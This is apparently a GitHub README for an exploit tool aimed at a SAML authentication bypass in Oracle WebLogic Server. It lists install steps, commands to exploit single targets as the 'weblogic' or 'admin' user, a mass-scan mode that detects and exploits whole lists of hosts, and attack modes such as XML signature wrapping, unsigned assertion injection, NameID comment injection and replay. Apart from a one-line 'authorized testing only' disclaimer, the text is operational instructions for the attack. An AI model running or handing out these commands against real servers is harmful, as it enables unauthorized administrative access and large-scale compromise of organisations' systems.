CVSS 9.9 — SAML authentication bypass in Oracle WebLogic Server Core. Affected: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0

⚠️ Authorized security testing only.

Install

git clone https://github.com/imbas007/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt

Usage

Single target

# Detect version + SAML endpoints
python3 CVE-2026-60206-exploit.py -t https://target:7002 --detect

# Full exploit (all attack vectors)
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all -u weblogic

# Specific mode
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode combo -u admin -v

# With proxy
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all --proxy http://127.0.0.1:8080 --no-verify

Mass scan

# Detect only
python3 CVE-2026-60206-exploit.py -l targets.txt -o results.json

# Detect + exploit (faster)
python3 CVE-2026-60206-exploit.py -l targets.txt --exploit --no-verify -T 30 -o results.json

# Single URL mass mode
python3 CVE-2026-60206-exploit.py -l https://target:7002 --exploit

Targets file (one per line):

192.168.1.100:7002
https://10.0.0.50
example.com

List attack modes

python3 CVE-2026-60206-exploit.py --list-modes

Attack Modes

Mode Description
unsigned Unsigned SAML assertion injection
xsw XML Signature Wrapping (4 variants)
nameid NameID manipulation / comment injection
combo Combined: XSW + Unsigned + NameID ⭐
audience AudienceRestriction bypass
conditions Time/validity restriction bypass
replay SAML response replay
all Run everything

Project Structure

CVE-2026-60206/
├── CVE-2026-60206-exploit.py   # Main script (single + mass)
├── mass_scan.py                # Mass scanner module
├── modules/
│   ├── samlib.py               # SAML manipulation (XSW, NameID, etc.)
│   ├── weblogic_client.py      # WebLogic HTTP client
│   └── logger.py               # Colored logging
├── requirements.txt
└── README.md

References